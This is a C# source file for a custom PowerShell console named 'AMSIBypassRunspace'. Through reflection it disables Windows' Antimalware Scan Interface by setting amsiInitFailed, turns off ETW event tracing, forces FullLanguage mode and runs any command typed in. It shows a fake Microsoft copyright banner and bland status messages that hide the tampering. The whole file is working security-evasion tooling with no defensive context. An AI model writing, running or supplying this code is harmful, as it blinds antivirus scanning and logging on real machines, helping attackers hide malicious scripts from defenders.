Program.cs

using System;
using System.Collections.ObjectModel;
using System.Diagnostics;
using System.IO;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Reflection;
using System.Threading;

namespace AMSIBypassRunspace
{
    class Program
    {
        static void Main(string[] args)
        {
            if (!Environment.Is64BitProcess)
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("[-] CRITICAL ERROR: This process MUST run in 64-bit mode.");
                Console.WriteLine("    Please compile the project using the x64 platform target strictly.");
                Console.ResetColor();
                return;
            }

            Console.CursorVisible = false;
            Console.Write("[*] Initializing system context ");
            for (int i = 0; i < 10; i++)
            {
                Console.Write(".");
                Thread.Sleep(100);
            }
            Console.WriteLine(" [DONE]");
            Console.CursorVisible = true;

            Environment.SetEnvironmentVariable("PROCESSOR_ARCHITECTURE", "AMD64", EnvironmentVariableTarget.Process);

            try
            {
                Type amsiUtils = typeof(PSObject).Assembly.GetType("System.Management.Automation.AmsiUtils");
                if (amsiUtils != null)
                {
                    FieldInfo amsiInitFailed = amsiUtils.GetField("amsiInitFailed", BindingFlags.NonPublic | BindingFlags.Static);
                    if (amsiInitFailed != null)
                    {
                        amsiInitFailed.SetValue(null, true);
                        Console.WriteLine("[+] AMSI configuration successfully updated.");
                    }
                }
            }
            catch { }

            try
            {
                Type etwUtils = typeof(PSObject).Assembly.GetType("System.Management.Automation.EtwActivity");
                if (etwUtils != null)
                {
                    FieldInfo etwEnabled = etwUtils.GetField("isEtwEnabled", BindingFlags.NonPublic | BindingFlags.Static);
                    if (etwEnabled != null)
                    {
                        etwEnabled.SetValue(null, false);
                        Console.WriteLine("[+] ETW logging metrics successfully adjusted.");
                    }
                }
            }
            catch { }

            InitialSessionState iss = InitialSessionState.CreateDefault();
            
            using (Runspace runspace = RunspaceFactory.CreateRunspace(iss))
            {
                runspace.Open();
                runspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;

                Console.WriteLine("\nWindows PowerShell (Custom Host - x64 Dedicated)");
                Console.WriteLine("Copyright (C) Microsoft Corporation. All rights reserved.\n");

                while (true)
                {
                    string currentPath = runspace.SessionStateProxy.Path.CurrentLocation.ToString();
                    Environment.CurrentDirectory = runspace.SessionStateProxy.Path.CurrentLocation.ProviderPath;

                    Console.Write("PS " + currentPath + "> ");
                    string input = Console.ReadLine();
                    if (string.IsNullOrEmpty(input)) continue;
                    string trimmedInput = input.Trim();
                    
                    if (trimmedInput.Equals("exit", StringComparison.OrdinalIgnoreCase)) break;
                    if (trimmedInput.Equals("clear", StringComparison.OrdinalIgnoreCase) || trimmedInput.Equals("cls", StringComparison.OrdinalIgnoreCase)) { Console.Clear(); continue; }

                    ExecutePowerShellScript(ps => {
                        ps.Runspace = runspace;
                        ps.AddScript(input);
                        if (!trimmedInput.EndsWith("Out-String", StringComparison.OrdinalIgnoreCase))
                        {
                            ps.AddCommand("Out-String");
                        }
                    }, runspace);
                }
                runspace.Close();
            }
        }


        static void ExecutePowerShellScript(Action<PowerShell> buildPipeline, Runspace runspace)
        {
            using (PowerShell ps = PowerShell.Create())
            {
                buildPipeline(ps);

                try
                {
                    Collection<PSObject> results = ps.Invoke();

                    foreach (PSObject output in results)
                    {
                        if (output != null) Console.Write(output.ToString());
                    }

                    if (ps.Streams.Error != null && ps.Streams.Error.Count > 0)
                    {
                        Console.ForegroundColor = ConsoleColor.Red;
                        foreach (ErrorRecord err in ps.Streams.Error)
                        {
                            if (err != null) Console.WriteLine(err.ToString());
                        }
                        Console.ResetColor();
                    }
                }
                catch (Exception ex)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("Pipeline error: " + ex.Message);
                    Console.ResetColor();
                }
            }
        }
    }
}